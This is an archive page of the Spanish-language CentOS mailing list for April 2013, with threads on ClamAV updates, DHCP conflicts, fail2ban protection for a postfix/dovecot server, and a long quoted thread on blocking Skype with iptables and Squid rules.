discuss-es April 2013

discuss-es@lists.centos.org

36 participants
29 discussions

Start a nNew thread

CLAMAV
by VICTOR MANUEL VARGAS GONZALEZ 18 Apr '13

18 Apr '13

Que tal a Todosalguien sabe como puedo verificar que si se esta actualizando mi antivirus tengo CLAMAV en centos 5

1 0

Problemas con el DHCP
by yoelkys.beltran＠etecsa.cu 17 Apr '13

17 Apr '13

Hola a todos. Tengo montado un DHCP en CentOS Linux 5.6 que me esta entregando direcciones IP que están reservadas a otras PCs lo que me trae problemas en mi red. Pongo un ejemplo para ser más ilustrativo en lo que me esta sucediendo: PC1 tiene reservada IP 10.0.0.1 y en la lista de los Leases Activos me aparece PCx con IP 10.0.0.1 Salu2, --- This message was processed by Kaspersky Mail Gateway 5.6.28/RELEASE running at host imx3.etecsa.cu Visit our web-site: <http://www.kaspersky.com>, <http://www.viruslist.com>

2 1

Re: [CentOS-es] Servidor Scaneado por un diccionario de datos en postfix+dovecot
by Luis Alberto Roman Aguirre 17 Apr '13

17 Apr '13

Asi es estimado Tito, tambien estoy en eso , pero al final que mas proteccion le puedo dar ya con todo lo que me UDs me indicaron y ayudas de la WEB , si llego a levantar este servidor como se que no volvere a pasar lo mismo?.Ya estoy tomando medidas correctivas con creacion de usuarios, passwords y diferentes accesos. >>Podías considerar que ese servidor ya esta tomado podrías y seguirían >haciéndolo mientras más seguridad le pongas más trabajo le daras pero >seguirán con lo mismo creo q debes considerar darle de baja, y armar Otro >servidor en paralelo con otra ip publica pero con otra protección y >cerrando algunos puertos. >El abr 5, 2013 10:12 a.m., "Luis Alberto Roman Aguirre" < >luisroman80(a)hotmail.com> escribió:

1 0

Re: [CentOS-es] Servidor Scaneado por un diccionario de datos en postfix+dovecot
by Luis Alberto Roman Aguirre 17 Apr '13

17 Apr '13

Buenas estimados listeros y estimado Diego : Aquí te paso lo del Jail.conf http://pastebin.com/dMYS8kFi y para hacer las pruebas con el log (maillog) lo hago así# /usr/bin/fail2ban-regex /var/log/maillog /etc/fail2ban/filter.d/dovecot-xxxx.conf, cuando hago esto no me sale nada, sigue mandando este mismo resultado:Running tests ============= -Use regex file : -/etc/fail2ban/filter.d/dovecot-pop3imap.conf -Use log file : /var/log/maillog ResultsFailregex: 0 total Ignoreregex: 0 total Summary Sorry, no match Look at the above section 'Running tests' which could contain important information. Ahora el archivo que esta dentro de la carpeta filter.d/dovecotxxxx.conf es este: http://pastebin.com/XsGErnMr Gracias por la ayuda a toda la lista >Sigo sin ver correctamente tu correo. >Utiliza maillog para leer donde esté el log del usuario invalido o atacante. >Has verificado que el filtro (/etc/fail2ban/filter.d) de fail2ban >matchee contra lo que tenés en el log? >Si cambia el formato, no va a coincidir y no hará nada. >La config de fail2ban en pastebin, no puede verse, al parecer, no >existe ( http://pastebin.com/Qna3gdgP )

1 0

Re: [CentOS-es] Cerrar Skype
by Fernando Urrutia 17 Apr '13

17 Apr '13

Skipe: En una parte de su configuración(herramientas - opciones - avanzada - conexión), dice "usar puertos 443 y 80 como alternativa de conexión", así a menos que tengas un firewall capa 7.

7 14

Duda sobre nueva instalacion de centos
by Andrei Rolando León Salas 17 Apr '13

17 Apr '13

Buenos dias, soy Andrei Leon Salas, soy relativamente nuevo en el mundo de centos por lo que me dirijo aqui por una pequeña duda que tengo, google mucho pero no encontre algo parecido, existe una forma de devolver a centos a la configuracion inicial? en vez de hacer una instalacion completamente nueva. O un software de backup ya que tambien busque de este pero no eran lo que esperaba. Como no tengo experiencia acudo a ustedes. Muchas gracias

1 0

Re: [CentOS-es] Resumen de CentOS-es, Vol 76, Envío 12
by VICTOR MANUEL VARGAS GONZALEZ 17 Apr '13

17 Apr '13

listo ya pude instalarlo les agradesco su apoyo , la verdad es un super apoyo que recibo > From: centos-es-request(a)centos.org > Subject: Resumen de CentOS-es, Vol 76, Envío 12 > To: centos-es(a)centos.org > Date: Tue, 16 Apr 2013 21:18:07 +0000 > > Envíe los mensajes para la lista CentOS-es a > centos-es(a)centos.org > > Para subscribirse o anular su subscripción a través de la WEB > http://lists.centos.org/mailman/listinfo/centos-es > > O por correo electrónico, enviando un mensaje con el texto "help" en > el asunto (subject) o en el cuerpo a: > centos-es-request(a)centos.org > > Puede contactar con el responsable de la lista escribiendo a: > centos-es-owner(a)centos.org > > Si responde a algún contenido de este mensaje, por favor, edite la > linea del asunto (subject) para que el texto sea mas especifico que: > "Re: Contents of CentOS-es digest...". Además, por favor, incluya en > la respuesta sólo aquellas partes del mensaje a las que está > respondiendo. > > > Asuntos del día: > > 1. apoyo (VICTOR MANUEL VARGAS GONZALEZ) > 2. Re: apoyo (victor santana) > 3. Re: Cerrar Skype (César Martinez) > 4. Re: Cerrar Skype (César C.) > 5. Re: Cerrar Skype (César Martínez Mora) > 6. Re: Cerrar Skype (César C.) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Tue, 16 Apr 2013 09:24:24 -0500 > From: VICTOR MANUEL VARGAS GONZALEZ <victorm95(a)hotmail.com> > Subject: [CentOS-es] apoyo > To: "centos-es(a)centos.org" <centos-es(a)centos.org> > Message-ID: <BLU157-W12524563372721CCC97343BBCD0(a)phx.gbl> > Content-Type: text/plain; charset="iso-8859-1" > > > > Buenos Días > > Antes que nada quisiera dar las gracias por recibir este > email , ya que estoy empezando a usar centos 5 , > > Tengo el siguiente problema tengo instalado centos 5 y > MailScanner-4.84.5-3 pero cuando trato de instalarlo me marca lo siguiente ( > ./install.sh) > > > > ./install.sh: > line 107: rpmbuild: command not found > > Your > /usr/src/redhat, /usr/src/RPM or /usr/src/packages > > tree is > missing. > > If you have > access to an RPM called rpm-build or rpmbuild > > then > install it first and come back and try again. > > > > Gracias por > su apoyo > > > > > > ------------------------------ > > Message: 2 > Date: Tue, 16 Apr 2013 20:49:03 +0100 > From: victor santana <reparaciononline(a)gmail.com> > Subject: Re: [CentOS-es] apoyo > To: "centos-es(a)centos.org" <centos-es(a)centos.org> > Message-ID: > <CAFm8YTiPPEKD_RL7_VS60prHyHcH7_bJ-vyn170Yajmsp_bbxw(a)mail.gmail.com> > Content-Type: text/plain; charset=ISO-8859-1 > > Parece que te falta el creador de paquetes, prueba a instalarlo: > > yum install rpm-build > > salu2. > > > El 16 de abril de 2013 15:24, VICTOR MANUEL VARGAS GONZALEZ < > victorm95(a)hotmail.com> escribió: > > > > > > > Buenos Días > > > > Antes que nada quisiera dar las gracias por recibir este > > email , ya que estoy empezando a usar centos 5 , > > > > Tengo el siguiente problema tengo instalado centos 5 y > > MailScanner-4.84.5-3 pero cuando trato de instalarlo me marca lo siguiente > > ( > > ./install.sh) > > > > > > > > ./install.sh: > > line 107: rpmbuild: command not found > > > > Your > > /usr/src/redhat, /usr/src/RPM or /usr/src/packages > > > > tree is > > missing. > > > > If you have > > access to an RPM called rpm-build or rpmbuild > > > > then > > install it first and come back and try again. > > > > > > > > Gracias por > > su apoyo > > > > > > > > > > _______________________________________________ > > CentOS-es mailing list > > CentOS-es(a)centos.org > > http://lists.centos.org/mailman/listinfo/centos-es > > > > > ------------------------------ > > Message: 3 > Date: Tue, 16 Apr 2013 15:41:02 -0500 > From: César Martinez <cmartinez(a)servicomecuador.com> > Subject: Re: [CentOS-es] Cerrar Skype > To: centos-es(a)centos.org > Message-ID: <516DB75E.4040701(a)servicomecuador.com> > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > > Amigos he estado investigando con los links que me enviaron y la única > forma que encontré como bloquear skype es aplicando estas reglas > > iptables -I FORWARD -s 111.221.74.0/24 -j DROP > iptables -I FORWARD -s 111.221.77.0/24 -j DROP > iptables -I FORWARD -s 157.55.130.0/24 -j DROP > iptables -I FORWARD -s 157.55.235.0/24 -j DROP > iptables -I FORWARD -s 157.55.56.0/24 -j DROP > iptables -I FORWARD -s 157.56.52.0/24 -j DROP > iptables -I FORWARD -s 194.165.188.0/24 -j DROP > iptables -I FORWARD -s 195.46.253.0/24 -j DROP > iptables -I FORWARD -s 213.199.179.0/24 -j DROP > iptables -I FORWARD -s 63.245.217.0/24 -j DROP > iptables -I FORWARD -s 64.4.23.0/24 -j DROP > iptables -I FORWARD -s 65.55.223.0/24 -j DROP > > Con esto se cierra todo el problema es que no deseo cerrar a todos sino > solo a un grupo de ips, para ello cree un bucle pero no funciona igual > se conectan todos al skype. > > SKYPE_ALLOW="192.168.1.12 192.168.1.14 192.168.1.111" > iptables -N SKYPE > iptables -I FORWARD -s 111.221.74.0/24 -j SKYPE > iptables -I FORWARD -s 111.221.77.0/24 -j SKYPE > iptables -I FORWARD -s 157.55.130.0/24 -j SKYPE > iptables -I FORWARD -s 157.55.235.0/24 -j SKYPE > iptables -I FORWARD -s 157.55.56.0/24 -j SKYPE > iptables -I FORWARD -s 157.56.52.0/24 -j SKYPE > iptables -I FORWARD -s 194.165.188.0/24 -j SKYPE > iptables -I FORWARD -s 195.46.253.0/24 -j SKYPE > iptables -I FORWARD -s 213.199.179.0/24 -j SKYPE > iptables -I FORWARD -s 63.245.217.0/24 -j SKYPE > iptables -I FORWARD -s 64.4.23.0/24 -j SKYPE > iptables -I FORWARD -s 65.55.223.0/24 -j SKYPE > ## SKYPE ALLOW > for face in $SKYPE_ALLOW; do > iptables -A SKYPE -s $face -j ACCEPT > done > iptables -A SKYPE -j REJECT > > > Gracias César > > > > > > > On 05/04/13 23:23, Diego Sanchez wrote: > > https://www.google.com.ar/webhp?sourceid=chrome-instant&ion=1&ie=UTF-8#hl=e… > > > > http://pingtool.org/block-skype-connection/ > > > > El día 5 de abril de 2013 18:08, César Martinez > > <cmartinez(a)servicomecuador.com> escribió: > >> Muchas gracias voy a probarlo y te comento como me fue > >> > >> César > >>> hola, yo no la uso de forma transparente sino configurando en cada pc, > >>> de todas formas te paso los parametros que añadí y me dices si funciona > >>> > >>> lo que hace esto es bloquearte todas las pantallas de formularios > >>> > >>> http_access allow !validUserAgent accesoskype > >>> http_access deny !validUserAgent > >>> > >>> en accesoskype pones a los que si pueden tener acceso. > >>> > >>> saludos > >>> > >>> > >>> > >>>> Date: Fri, 5 Apr 2013 14:27:49 -0500 > >>>> From: cmartinez(a)servicomecuador.com > >>>> To: centos-es(a)centos.org > >>>> Subject: Re: [CentOS-es] Cerrar Skype > >>>> > >>>> Hola si uso squid de forma transparente > >>>> > >>>> César > >>>>> hola > >>>>> skype(el antiguo) habia sido un problema en la red que administramos, pero logramos evitar que funcione, > >>>>> con un servidor proxy squid, si te vas el tema de patrones o direcciones , por ahi no es. ¿usas squid? > >>>>> > >>>>> > >>>>>> From: fernando.urrutia(a)solex.cl > >>>>>> Date: Fri, 5 Apr 2013 09:58:31 -0300 > >>>>>> To: centos-es(a)centos.org > >>>>>> Subject: Re: [CentOS-es] Cerrar Skype > >>>>>> > >>>>>> Skipe: > >>>>>> > >>>>>> En una parte de su configuración(herramientas - opciones - > >>>>>> avanzada - conexión), dice "usar puertos 443 y 80 como alternativa de > >>>>>> conexión", así a menos que tengas un firewall capa 7. > >>>>>> _______________________________________________ > >>>>>> CentOS-es mailing list > >>>>>> CentOS-es(a)centos.org > >>>>>> http://lists.centos.org/mailman/listinfo/centos-es > >>>>> _______________________________________________ > >>>>> CentOS-es mailing list > >>>>> CentOS-es(a)centos.org > >>>>> http://lists.centos.org/mailman/listinfo/centos-es > >>>>> > >>>> _______________________________________________ > >>>> CentOS-es mailing list > >>>> CentOS-es(a)centos.org > >>>> http://lists.centos.org/mailman/listinfo/centos-es > >>> _______________________________________________ > >>> CentOS-es mailing list > >>> CentOS-es(a)centos.org > >>> http://lists.centos.org/mailman/listinfo/centos-es > >>> > >> _______________________________________________ > >> CentOS-es mailing list > >> CentOS-es(a)centos.org > >> http://lists.centos.org/mailman/listinfo/centos-es > > > > > > > > ------------------------------ > > Message: 4 > Date: Tue, 16 Apr 2013 16:07:16 -0500 > From: César C. <arvegas21(a)hotmail.com> > Subject: Re: [CentOS-es] Cerrar Skype > To: centos <centos-es(a)centos.org> > Message-ID: <BAY159-W35A00D19C758FB86BAABF1B9CD0(a)phx.gbl> > Content-Type: text/plain; charset="iso-8859-1" > > hola creo que seria asi: > > que tipo de politica tienes ? DROP ? ACCEPT? > luego > si esta en accept, primero permites luego deniegas. > si esta en drop entonces permites. > > asi me funciona > > > > Date: Tue, 16 Apr 2013 15:41:02 -0500 > > From: cmartinez(a)servicomecuador.com > > To: centos-es(a)centos.org > > Subject: Re: [CentOS-es] Cerrar Skype > > > > Amigos he estado investigando con los links que me enviaron y la única > > forma que encontré como bloquear skype es aplicando estas reglas > > > > iptables -I FORWARD -s 111.221.74.0/24 -j DROP > > iptables -I FORWARD -s 111.221.77.0/24 -j DROP > > iptables -I FORWARD -s 157.55.130.0/24 -j DROP > > iptables -I FORWARD -s 157.55.235.0/24 -j DROP > > iptables -I FORWARD -s 157.55.56.0/24 -j DROP > > iptables -I FORWARD -s 157.56.52.0/24 -j DROP > > iptables -I FORWARD -s 194.165.188.0/24 -j DROP > > iptables -I FORWARD -s 195.46.253.0/24 -j DROP > > iptables -I FORWARD -s 213.199.179.0/24 -j DROP > > iptables -I FORWARD -s 63.245.217.0/24 -j DROP > > iptables -I FORWARD -s 64.4.23.0/24 -j DROP > > iptables -I FORWARD -s 65.55.223.0/24 -j DROP > > > > Con esto se cierra todo el problema es que no deseo cerrar a todos sino > > solo a un grupo de ips, para ello cree un bucle pero no funciona igual > > se conectan todos al skype. > > > > SKYPE_ALLOW="192.168.1.12 192.168.1.14 192.168.1.111" > > iptables -N SKYPE > > iptables -I FORWARD -s 111.221.74.0/24 -j SKYPE > > iptables -I FORWARD -s 111.221.77.0/24 -j SKYPE > > iptables -I FORWARD -s 157.55.130.0/24 -j SKYPE > > iptables -I FORWARD -s 157.55.235.0/24 -j SKYPE > > iptables -I FORWARD -s 157.55.56.0/24 -j SKYPE > > iptables -I FORWARD -s 157.56.52.0/24 -j SKYPE > > iptables -I FORWARD -s 194.165.188.0/24 -j SKYPE > > iptables -I FORWARD -s 195.46.253.0/24 -j SKYPE > > iptables -I FORWARD -s 213.199.179.0/24 -j SKYPE > > iptables -I FORWARD -s 63.245.217.0/24 -j SKYPE > > iptables -I FORWARD -s 64.4.23.0/24 -j SKYPE > > iptables -I FORWARD -s 65.55.223.0/24 -j SKYPE > > ## SKYPE ALLOW > > for face in $SKYPE_ALLOW; do > > iptables -A SKYPE -s $face -j ACCEPT > > done > > iptables -A SKYPE -j REJECT > > > > > > Gracias César > > > > > > > > > > > > > > On 05/04/13 23:23, Diego Sanchez wrote: > > > https://www.google.com.ar/webhp?sourceid=chrome-instant&ion=1&ie=UTF-8#hl=e… > > > > > > http://pingtool.org/block-skype-connection/ > > > > > > El día 5 de abril de 2013 18:08, César Martinez > > > <cmartinez(a)servicomecuador.com> escribió: > > >> Muchas gracias voy a probarlo y te comento como me fue > > >> > > >> César > > >>> hola, yo no la uso de forma transparente sino configurando en cada pc, > > >>> de todas formas te paso los parametros que añadí y me dices si funciona > > >>> > > >>> lo que hace esto es bloquearte todas las pantallas de formularios > > >>> > > >>> http_access allow !validUserAgent accesoskype > > >>> http_access deny !validUserAgent > > >>> > > >>> en accesoskype pones a los que si pueden tener acceso. > > >>> > > >>> saludos > > >>> > > >>> > > >>> > > >>>> Date: Fri, 5 Apr 2013 14:27:49 -0500 > > >>>> From: cmartinez(a)servicomecuador.com > > >>>> To: centos-es(a)centos.org > > >>>> Subject: Re: [CentOS-es] Cerrar Skype > > >>>> > > >>>> Hola si uso squid de forma transparente > > >>>> > > >>>> César > > >>>>> hola > > >>>>> skype(el antiguo) habia sido un problema en la red que administramos, pero logramos evitar que funcione, > > >>>>> con un servidor proxy squid, si te vas el tema de patrones o direcciones , por ahi no es. ¿usas squid? > > >>>>> > > >>>>> > > >>>>>> From: fernando.urrutia(a)solex.cl > > >>>>>> Date: Fri, 5 Apr 2013 09:58:31 -0300 > > >>>>>> To: centos-es(a)centos.org > > >>>>>> Subject: Re: [CentOS-es] Cerrar Skype > > >>>>>> > > >>>>>> Skipe: > > >>>>>> > > >>>>>> En una parte de su configuración(herramientas - opciones - > > >>>>>> avanzada - conexión), dice "usar puertos 443 y 80 como alternativa de > > >>>>>> conexión", así a menos que tengas un firewall capa 7. > > >>>>>> _______________________________________________ > > >>>>>> CentOS-es mailing list > > >>>>>> CentOS-es(a)centos.org > > >>>>>> http://lists.centos.org/mailman/listinfo/centos-es > > >>>>> _______________________________________________ > > >>>>> CentOS-es mailing list > > >>>>> CentOS-es(a)centos.org > > >>>>> http://lists.centos.org/mailman/listinfo/centos-es > > >>>>> > > >>>> _______________________________________________ > > >>>> CentOS-es mailing list > > >>>> CentOS-es(a)centos.org > > >>>> http://lists.centos.org/mailman/listinfo/centos-es > > >>> _______________________________________________ > > >>> CentOS-es mailing list > > >>> CentOS-es(a)centos.org > > >>> http://lists.centos.org/mailman/listinfo/centos-es > > >>> > > >> _______________________________________________ > > >> CentOS-es mailing list > > >> CentOS-es(a)centos.org > > >> http://lists.centos.org/mailman/listinfo/centos-es > > > > > > > > > > _______________________________________________ > > CentOS-es mailing list > > CentOS-es(a)centos.org > > http://lists.centos.org/mailman/listinfo/centos-es > > > ------------------------------ > > Message: 5 > Date: Tue, 16 Apr 2013 16:10:41 -0500 > From: César Martínez Mora <cmartinez(a)servicomecuador.com> > Subject: Re: [CentOS-es] Cerrar Skype > To: centos-es(a)centos.org > Message-ID: <5c55c13f-2e77-4300-8bb1-f8da4bdd7249(a)email.android.com> > Content-Type: text/plain; charset=UTF-8 > > Perdona no te entiendo > -- > > Saludos > Ing César Martínez Mora > Enviado desde mi móvil. HTC > > "César C." <arvegas21(a)hotmail.com> escribió: > > >hola creo que seria asi: > > > >que tipo de politica tienes ? DROP ? ACCEPT? > >luego > >si esta en accept, primero permites luego deniegas. > >si esta en drop entonces permites. > > > >asi me funciona > > > > > >> Date: Tue, 16 Apr 2013 15:41:02 -0500 > >> From: cmartinez(a)servicomecuador.com > >> To: centos-es(a)centos.org > >> Subject: Re: [CentOS-es] Cerrar Skype > >> > >> Amigos he estado investigando con los links que me enviaron y la > >única > >> forma que encontré como bloquear skype es aplicando estas reglas > >> > >> iptables -I FORWARD -s 111.221.74.0/24 -j DROP > >> iptables -I FORWARD -s 111.221.77.0/24 -j DROP > >> iptables -I FORWARD -s 157.55.130.0/24 -j DROP > >> iptables -I FORWARD -s 157.55.235.0/24 -j DROP > >> iptables -I FORWARD -s 157.55.56.0/24 -j DROP > >> iptables -I FORWARD -s 157.56.52.0/24 -j DROP > >> iptables -I FORWARD -s 194.165.188.0/24 -j DROP > >> iptables -I FORWARD -s 195.46.253.0/24 -j DROP > >> iptables -I FORWARD -s 213.199.179.0/24 -j DROP > >> iptables -I FORWARD -s 63.245.217.0/24 -j DROP > >> iptables -I FORWARD -s 64.4.23.0/24 -j DROP > >> iptables -I FORWARD -s 65.55.223.0/24 -j DROP > >> > >> Con esto se cierra todo el problema es que no deseo cerrar a todos > >sino > >> solo a un grupo de ips, para ello cree un bucle pero no funciona > >igual > >> se conectan todos al skype. > >> > >> SKYPE_ALLOW="192.168.1.12 192.168.1.14 192.168.1.111" > >> iptables -N SKYPE > >> iptables -I FORWARD -s 111.221.74.0/24 -j SKYPE > >> iptables -I FORWARD -s 111.221.77.0/24 -j SKYPE > >> iptables -I FORWARD -s 157.55.130.0/24 -j SKYPE > >> iptables -I FORWARD -s 157.55.235.0/24 -j SKYPE > >> iptables -I FORWARD -s 157.55.56.0/24 -j SKYPE > >> iptables -I FORWARD -s 157.56.52.0/24 -j SKYPE > >> iptables -I FORWARD -s 194.165.188.0/24 -j SKYPE > >> iptables -I FORWARD -s 195.46.253.0/24 -j SKYPE > >> iptables -I FORWARD -s 213.199.179.0/24 -j SKYPE > >> iptables -I FORWARD -s 63.245.217.0/24 -j SKYPE > >> iptables -I FORWARD -s 64.4.23.0/24 -j SKYPE > >> iptables -I FORWARD -s 65.55.223.0/24 -j SKYPE > >> ## SKYPE ALLOW > >> for face in $SKYPE_ALLOW; do > >> iptables -A SKYPE -s $face -j ACCEPT > >> done > >> iptables -A SKYPE -j REJECT > >> > >> > >> Gracias César > >> > >> > >> > >> > >> > >> > >> On 05/04/13 23:23, Diego Sanchez wrote: > >> > > >https://www.google.com.ar/webhp?sourceid=chrome-instant&ion=1&ie=UTF-8#hl=e… > >> > > >> > http://pingtool.org/block-skype-connection/ > >> > > >> > El día 5 de abril de 2013 18:08, César Martinez > >> > <cmartinez(a)servicomecuador.com> escribió: > >> >> Muchas gracias voy a probarlo y te comento como me fue > >> >> > >> >> César > >> >>> hola, yo no la uso de forma transparente sino configurando en > >cada pc, > >> >>> de todas formas te paso los parametros que añadí y me dices si > >funciona > >> >>> > >> >>> lo que hace esto es bloquearte todas las pantallas de formularios > >> >>> > >> >>> http_access allow !validUserAgent accesoskype > >> >>> http_access deny !validUserAgent > >> >>> > >> >>> en accesoskype pones a los que si pueden tener acceso. > >> >>> > >> >>> saludos > >> >>> > >> >>> > >> >>> > >> >>>> Date: Fri, 5 Apr 2013 14:27:49 -0500 > >> >>>> From: cmartinez(a)servicomecuador.com > >> >>>> To: centos-es(a)centos.org > >> >>>> Subject: Re: [CentOS-es] Cerrar Skype > >> >>>> > >> >>>> Hola si uso squid de forma transparente > >> >>>> > >> >>>> César > >> >>>>> hola > >> >>>>> skype(el antiguo) habia sido un problema en la red que > >administramos, pero logramos evitar que funcione, > >> >>>>> con un servidor proxy squid, si te vas el tema de patrones o > >direcciones , por ahi no es. ¿usas squid? > >> >>>>> > >> >>>>> > >> >>>>>> From: fernando.urrutia(a)solex.cl > >> >>>>>> Date: Fri, 5 Apr 2013 09:58:31 -0300 > >> >>>>>> To: centos-es(a)centos.org > >> >>>>>> Subject: Re: [CentOS-es] Cerrar Skype > >> >>>>>> > >> >>>>>> Skipe: > >> >>>>>> > >> >>>>>> En una parte de su configuración(herramientas - opciones - > >> >>>>>> avanzada - conexión), dice "usar puertos 443 y 80 como > >alternativa de > >> >>>>>> conexión", así a menos que tengas un firewall capa 7. > >> >>>>>> _______________________________________________ > >> >>>>>> CentOS-es mailing list > >> >>>>>> CentOS-es(a)centos.org > >> >>>>>> http://lists.centos.org/mailman/listinfo/centos-es > >> >>>>> _______________________________________________ > >> >>>>> CentOS-es mailing list > >> >>>>> CentOS-es(a)centos.org > >> >>>>> http://lists.centos.org/mailman/listinfo/centos-es > >> >>>>> > >> >>>> _______________________________________________ > >> >>>> CentOS-es mailing list > >> >>>> CentOS-es(a)centos.org > >> >>>> http://lists.centos.org/mailman/listinfo/centos-es > >> >>> _______________________________________________ > >> >>> CentOS-es mailing list > >> >>> CentOS-es(a)centos.org > >> >>> http://lists.centos.org/mailman/listinfo/centos-es > >> >>> > >> >> _______________________________________________ > >> >> CentOS-es mailing list > >> >> CentOS-es(a)centos.org > >> >> http://lists.centos.org/mailman/listinfo/centos-es > >> > > >> > > >> > >> _______________________________________________ > >> CentOS-es mailing list > >> CentOS-es(a)centos.org > >> http://lists.centos.org/mailman/listinfo/centos-es > > > >_______________________________________________ > >CentOS-es mailing list > >CentOS-es(a)centos.org > >http://lists.centos.org/mailman/listinfo/centos-es > > > ------------------------------ > > Message: 6 > Date: Tue, 16 Apr 2013 16:18:05 -0500 > From: César C. <arvegas21(a)hotmail.com> > Subject: Re: [CentOS-es] Cerrar Skype > To: centos <centos-es(a)centos.org> > Message-ID: <BAY159-W315FE1E657E03C7B4AD870B9CD0(a)phx.gbl> > Content-Type: text/plain; charset="iso-8859-1" > > hola > aqui una explicacion: > > politica accept : > > #FLUSH de reglas > iptables -F > iptables -X > iptables -Z > iptables -t nat -F > iptables -A INPUT -j ACCEPT > iptables -A OUTPUT -j ACCEPT > iptables -A FORWARD -j ACCEPT > > iptables -I FORWARD -s 192.168.1.12 -d 111.221.74.0/24 -j ACCEPT > iptables -I FORWARD -d 192.168.1.12 -s 111.221.74.0/24 -j ACCEPT > > . > . > . > > iptables -I FORWARD -s 111.221.74.0/24 -j DROP > iptables -I FORWARD -d 111.221.74.0/24 -j DROP > > . > . > . > seria algo asi, no te estoy diciendo que con estas reglas funcione, pero tendrias que probar > > SALUDOS > > > > From: cmartinez(a)servicomecuador.com > > Date: Tue, 16 Apr 2013 16:10:41 -0500 > > To: centos-es(a)centos.org > > Subject: Re: [CentOS-es] Cerrar Skype > > > > Perdona no te entiendo > > -- > > > > Saludos > > Ing César Martínez Mora > > Enviado desde mi móvil. HTC > > > > "César C." <arvegas21(a)hotmail.com> escribió: > > > > >hola creo que seria asi: > > > > > >que tipo de politica tienes ? DROP ? ACCEPT? > > >luego > > >si esta en accept, primero permites luego deniegas. > > >si esta en drop entonces permites. > > > > > >asi me funciona > > > > > > > > >> Date: Tue, 16 Apr 2013 15:41:02 -0500 > > >> From: cmartinez(a)servicomecuador.com > > >> To: centos-es(a)centos.org > > >> Subject: Re: [CentOS-es] Cerrar Skype > > >> > > >> Amigos he estado investigando con los links que me enviaron y la > > >única > > >> forma que encontré como bloquear skype es aplicando estas reglas > > >> > > >> iptables -I FORWARD -s 111.221.74.0/24 -j DROP > > >> iptables -I FORWARD -s 111.221.77.0/24 -j DROP > > >> iptables -I FORWARD -s 157.55.130.0/24 -j DROP > > >> iptables -I FORWARD -s 157.55.235.0/24 -j DROP > > >> iptables -I FORWARD -s 157.55.56.0/24 -j DROP > > >> iptables -I FORWARD -s 157.56.52.0/24 -j DROP > > >> iptables -I FORWARD -s 194.165.188.0/24 -j DROP > > >> iptables -I FORWARD -s 195.46.253.0/24 -j DROP > > >> iptables -I FORWARD -s 213.199.179.0/24 -j DROP > > >> iptables -I FORWARD -s 63.245.217.0/24 -j DROP > > >> iptables -I FORWARD -s 64.4.23.0/24 -j DROP > > >> iptables -I FORWARD -s 65.55.223.0/24 -j DROP > > >> > > >> Con esto se cierra todo el problema es que no deseo cerrar a todos > > >sino > > >> solo a un grupo de ips, para ello cree un bucle pero no funciona > > >igual > > >> se conectan todos al skype. > > >> > > >> SKYPE_ALLOW="192.168.1.12 192.168.1.14 192.168.1.111" > > >> iptables -N SKYPE > > >> iptables -I FORWARD -s 111.221.74.0/24 -j SKYPE > > >> iptables -I FORWARD -s 111.221.77.0/24 -j SKYPE > > >> iptables -I FORWARD -s 157.55.130.0/24 -j SKYPE > > >> iptables -I FORWARD -s 157.55.235.0/24 -j SKYPE > > >> iptables -I FORWARD -s 157.55.56.0/24 -j SKYPE > > >> iptables -I FORWARD -s 157.56.52.0/24 -j SKYPE > > >> iptables -I FORWARD -s 194.165.188.0/24 -j SKYPE > > >> iptables -I FORWARD -s 195.46.253.0/24 -j SKYPE > > >> iptables -I FORWARD -s 213.199.179.0/24 -j SKYPE > > >> iptables -I FORWARD -s 63.245.217.0/24 -j SKYPE > > >> iptables -I FORWARD -s 64.4.23.0/24 -j SKYPE > > >> iptables -I FORWARD -s 65.55.223.0/24 -j SKYPE > > >> ## SKYPE ALLOW > > >> for face in $SKYPE_ALLOW; do > > >> iptables -A SKYPE -s $face -j ACCEPT > > >> done > > >> iptables -A SKYPE -j REJECT > > >> > > >> > > >> Gracias César > > >> > > >> > > >> > > >> > > >> > > >> > > >> On 05/04/13 23:23, Diego Sanchez wrote: > > >> > > > >https://www.google.com.ar/webhp?sourceid=chrome-instant&ion=1&ie=UTF-8#hl=e… > > >> > > > >> > http://pingtool.org/block-skype-connection/ > > >> > > > >> > El día 5 de abril de 2013 18:08, César Martinez > > >> > <cmartinez(a)servicomecuador.com> escribió: > > >> >> Muchas gracias voy a probarlo y te comento como me fue > > >> >> > > >> >> César > > >> >>> hola, yo no la uso de forma transparente sino configurando en > > >cada pc, > > >> >>> de todas formas te paso los parametros que añadí y me dices si > > >funciona > > >> >>> > > >> >>> lo que hace esto es bloquearte todas las pantallas de formularios > > >> >>> > > >> >>> http_access allow !validUserAgent accesoskype > > >> >>> http_access deny !validUserAgent > > >> >>> > > >> >>> en accesoskype pones a los que si pueden tener acceso. > > >> >>> > > >> >>> saludos > > >> >>> > > >> >>> > > >> >>> > > >> >>>> Date: Fri, 5 Apr 2013 14:27:49 -0500 > > >> >>>> From: cmartinez(a)servicomecuador.com > > >> >>>> To: centos-es(a)centos.org > > >> >>>> Subject: Re: [CentOS-es] Cerrar Skype > > >> >>>> > > >> >>>> Hola si uso squid de forma transparente > > >> >>>> > > >> >>>> César > > >> >>>>> hola > > >> >>>>> skype(el antiguo) habia sido un problema en la red que > > >administramos, pero logramos evitar que funcione, > > >> >>>>> con un servidor proxy squid, si te vas el tema de patrones o > > >direcciones , por ahi no es. ¿usas squid? > > >> >>>>> > > >> >>>>> > > >> >>>>>> From: fernando.urrutia(a)solex.cl > > >> >>>>>> Date: Fri, 5 Apr 2013 09:58:31 -0300 > > >> >>>>>> To: centos-es(a)centos.org > > >> >>>>>> Subject: Re: [CentOS-es] Cerrar Skype > > >> >>>>>> > > >> >>>>>> Skipe: > > >> >>>>>> > > >> >>>>>> En una parte de su configuración(herramientas - opciones - > > >> >>>>>> avanzada - conexión), dice "usar puertos 443 y 80 como > > >alternativa de > > >> >>>>>> conexión", así a menos que tengas un firewall capa 7. > > >> >>>>>> _______________________________________________ > > >> >>>>>> CentOS-es mailing list > > >> >>>>>> CentOS-es(a)centos.org > > >> >>>>>> http://lists.centos.org/mailman/listinfo/centos-es > > >> >>>>> _______________________________________________ > > >> >>>>> CentOS-es mailing list > > >> >>>>> CentOS-es(a)centos.org > > >> >>>>> http://lists.centos.org/mailman/listinfo/centos-es > > >> >>>>> > > >> >>>> _______________________________________________ > > >> >>>> CentOS-es mailing list > > >> >>>> CentOS-es(a)centos.org > > >> >>>> http://lists.centos.org/mailman/listinfo/centos-es > > >> >>> _______________________________________________ > > >> >>> CentOS-es mailing list > > >> >>> CentOS-es(a)centos.org > > >> >>> 